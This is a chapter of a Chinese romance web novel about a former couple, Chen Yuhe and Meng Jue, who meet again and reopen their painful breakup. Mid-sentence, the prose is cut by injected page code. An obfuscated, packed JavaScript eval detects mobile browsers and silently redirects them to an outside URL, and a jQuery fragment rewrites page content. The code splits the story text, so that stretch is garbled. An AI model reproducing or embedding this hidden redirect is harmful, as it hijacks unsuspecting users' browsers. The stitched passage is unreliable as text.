当年,陈与禾和孟玦谈恋爱这事儿,杨舒和另外两个室友也是在学校论坛看到照片才知道的。
她们作为陈与禾的室友,几乎是最后才知道的,对此大为不满,最后还是被一顿美食堵住了嘴。
孟玦陈与禾是学院里少有的相貌和能力都出众的人,自是受到很多同学关注。但他们两人一向很低调,杨舒认识孟玦并不只是因为他是陈与禾的男朋友。
后来二人分手闹得不太愉快,陈与禾连联系方式都换了,实在是让人唏嘘。
杨舒又问陈与禾:“这几年你去哪儿了?谁都联系不上,就分个手而已,怎么还搞失联那套,连我们这些朋友也不要了?”
“不是的,那都是意外。”陈与禾不想在孟玦面前提及以前的事,赶紧揭过这个话题,“对了,你怎么在这儿?”
“来买东西啊。”杨舒洋溢着幸福的笑,展示着右手无名指的戒指,“我要结婚了。”
“真的?恭喜啊!”
“哼,当年我们可是说好了要给彼此做伴娘的,你倒好。”杨舒瞥了一眼孟玦,又看回陈与禾,“我们当时都以为最先结婚的会是你呢!”
怎么又扯回来了?
“你老公呢?没跟你一起?”
杨舒撇撇嘴:“上厕所去了。说是陪我逛街,比踢一下午球还累。”
看似埋怨,实则秀恩爱。
陈与禾问:“你婚礼是什么时候?”
“半个月以后。”
“对了,你能来当伴娘吗?”杨舒语速快,说起来就不停,“我请了三个伴娘,小霜结婚了不能来。敏敏是第一时间就答应了,另一个是我发小,还有一个没定下来,你要是愿意来就太好了。”
小霜和敏敏是陈与禾的另外两个室友,没想到一心钻进二次元的小霜竟然是她们中间最先结婚的。敏敏还和以前一样爽快。
“但我都不知道婚礼那些流程。”
“没事,那些都由我发小搞定,你和敏敏负责美美的就好。”
“好,那我来。”
敲定好了行程,杨舒从包里拿出两张请柬,分别递给陈与禾和孟玦。陈与禾自不必多说,但杨舒跟孟玦不熟,既然见到了,还是要亲自邀请一下的。
“老同学,有空来参加婚礼吗?”
孟玦欣然收下请柬,又看了眼陈与禾:“我跟她一起来。”
“哦?”杨舒眉头一挑,“你们这是复——”
“杨舒,你和你老公怎么认识的?”
说起自己的爱情,杨舒很容易就被转移了注意力:“校友会认识的,经管学院的学长,大我们几届。婚礼前有个单身派对,只有女生,到时候我跟你详细讲。”
“好呀。”
昔日的好友叙旧,其他人都不忍打扰。得了空隙,季阳波见缝插针地问杨舒:“学姐,你们仨是同学?”
“我跟小禾是。”杨舒半眯着眼睛,神神秘秘地说,“至于孟同学嘛,不同班,了解不多。”
孟玦猜到季阳波要问什么:“少打听。”
“今天我生日啊,师兄。”
孟玦哑然,陈与禾挠挠眼角,静待暴风雨的来临。
季阳波对孟玦的情史非常具有打破砂锅问到底的精神,他问杨舒:“学姐,我孟师兄大学的女朋友你认识吗?他们怎么分手的?”
杨舒像被什么糊住了嗓子,一时间发不出声音,她看看陈与禾,又看看孟玦,然后憋着笑又对季阳波说:“你…在逗我玩吗?”
杨舒简直要怀疑季阳波是不是在耍她,但他那求知的眼神又实在清澈热忱,不像假的。
她沉默了几秒,迟疑着说:“本人不就坐在你对面吗?”
这下换季阳波傻了。
对面?谁啊?姚霁月?不是。
难道是陈与禾?
这段时间以来的一幕幕如电影倒带一样在他脑子里回放,一点一滴都在证明着孟玦对陈与禾的熟稔和关心。他俩那种刻意保持距离以及和旧情人见面的尴尬,促使季阳波把一切异常都合理化了。
远在天边近在眼前!
“靠!”
季阳波环顾四周,孟玦一脸沉默,算是默认。陈与禾心虚又讨好的笑着,表达着瞒着她的歉意。而姚霁月,低着头捂着嘴偷笑,显然早已知情。
“合着就瞒着我一个人?”季阳波张着嘴,无比震惊,“师妹?”
姚霁月道歉倒是挺快的:“师兄,我不是故意的。”
师妹滑跪道歉,态度良好,陈与禾刚送了他礼物,季阳波不好开口,心里的气只好冲着孟玦,但又不知道抱怨什么,说出口就闹了笑话:“你也知道?”
杨舒笑出了声,丝毫没收着,笑声嘹亮:“他还能不知道?”
陈与禾也被逗乐,季阳波眼睛一扫过来,她立马抿唇收住,难掩理亏:“你也没仔细问来着。”
“是我不让她说的。”
季阳波眼神幽怨地看着孟玦,满脸都是“为什么”三个大字。
“你知道了,所有人都知道了。”
季阳波反倒得意起来:“那我现在也知道了。”
“不准乱说。”
孟玦冷着脸警告,季阳波不敢再放肆,一下子泄了气:“那我要再点一份波士顿大龙虾。”
“随你。”
闹剧结束,陈与禾和杨舒重新交换了联系方式,正好杨舒的老公找过来了,双方简单打过招呼,夫妻俩起身告辞。
“与禾,单身派对见。”
杨舒又对孟玦说:“老同学,记得来。机会难得哦。”
“一定到。”
*
季阳波话多且密,加上又被桌上的三个人集体隐瞒,他又是抱怨,又是打听,一顿晚饭硬是吃到九点过。
因为烫伤,陈与禾没怎么吃东西,倒是把孟玦给她点的甜点吃了个精光。
回去的路上,孟玦还特意送了季阳波一个蛋糕,让他回宿舍跟室友们分享。季阳波瞬间消了气,柔声柔气地说了声“谢谢师兄”。
孟玦没忍住翻了个白眼:“闭嘴。”
按照惯例,孟玦是要送师弟师妹回学校的。
商场离陈与禾家不远,她正想告辞,孟玦转头看她:“我送你。”
“不用了,我打车回去很快。”
“我有话跟你说。”
季阳波一手拎着蛋糕,另只手举起自己的手机:“你们聊,我和师妹打车先走。”
“那注意安全,记得送霁月回宿舍。”
“好的师兄,使命必达。”
这下好了,撮合的人又多了一个。
看他们俩这避之不及的样子,陈与禾预感到以后将会有很多类似现在这样被撮合的时候,她瞒着季阳波自己和孟玦曾经的关系,就是不想看到这种局面。
她暗暗地叹了口气:“那等你们的车到了,我们再走。”
自挑明后,孟玦的眼神从未收敛,就连在等网约车来之前,视线也未曾离开过陈与禾。
陈与禾被盯得发毛,待二人上车后,她忍不住抱怨:“说是送师弟师妹回学校,我看你一点儿也不担心。”
“成年人有什么可担心的。走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250652|165379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧!”
道理陈与禾何尝不懂,她不过是想转移一下孟玦的注意力而已。
上了车,陈与禾自觉导航,不愿麻烦孟玦一点儿。孟玦看不出神情,没多做停留,启动了车子。
陈与禾说的近并不是推脱,不过二十分钟就到达了目的地。
“谢谢你送我回来。”
“陈与禾。”
孟玦提前预警了他有话要说,陈与禾等了一路他都没开口。
听到他连名带姓地见她,陈与禾无声叹息,手从安全带挪回腿上:“嗯。”
“你想过跟我结婚吗?”
他的声音一直偏冷,此刻更是如淬了冰。
“六年前,你想过跟我跟我结婚吗?”
其实是没有的。
大学,初恋,孟玦。
陈与禾迄今为止唯一一段感情,现在想来似乎是过于完美了。
彼时的陈与禾娇纵,心气高,即便身边的朋友都说她上辈子拯救了银河系才会有孟玦这样一个完美的男朋友。可她从来没有觉得这是什么前世修来的福分,因为那时的陈与禾值得。
在爱情里,她全身心投入,像童话里的公主。
结婚这个词,在陈与禾的字典里,等同于一地鸡毛。
那时的她太年轻,没有想过结婚。
但这并不代表那两年的感情掺了假。
没想过和不想,是不一样的。
她的沉默无声无息,孟玦明白了其间的答案。
他说:“我想过。”
“那天我带你回我家,把你介绍给她,其实我比你更紧张。因为我知道我家压抑又窒息,我只想着,过了这一关,我就跟你求婚。”
陈与禾坐在那儿,闭上了眼睛。摒弃了杂念,反而将他话里的绝望听得真切。
他缓了缓,继续说:“我想,我们可以住在一个属于自己的家。她是我一个人的母亲,她说的做的,都由我自己去承担。只要你在我身边就好。”
“我下过这个决心。但你没有给过我一丝信任。”
孟玦释然地笑,仿佛卸下了千斤重担:“我连求婚戒指都买好了。”
等待孟玦的是长久的沉默,随后是隐隐的抽泣。
孟玦语气平淡,但他的字字句句都砸在陈与禾心里,像胸口抱着大石的人,只等着最后那一锤,给她最后的判决。
但那句审判迟迟未到。
陈与禾抹了抹眼泪:“对不起,我不知道这些。”
但陈与禾清楚地知道,就算六年前的自己知道孟玦求婚的计划,她大概率也不会答应。
她想要的是即便平淡但也要安稳的生活,而孟玦的母亲,是他们幸福生活表象下的一颗定时炸弹。
她泪眼朦胧,满是歉意,却没有后悔。孟玦忽然笑了。
“陈与禾,你真的变了。以前你看我的眼神,让我觉得,我也是值得被爱的。如今你的眼睛里只有戒备和疏离,现在竟然多了怜悯。”
唯独少了爱。
“人…总是会长大的。她的世界也会越来越大,以前珍视的那些,不可避免地会变小,直至消失不见。”
“所以就让我在你生活里消失?为什么还要来招惹我。”
为什么?因为她需要钱,需要投资,她想要世俗意义上的成功。
“孟玦…”
他伸手帮她解开安全带锁扣:“上去吧。不早了,生病就早点休息。”
“我…”
“下车。烫伤药记得带走。”
孟玦再经不起任何来自于她的不在意。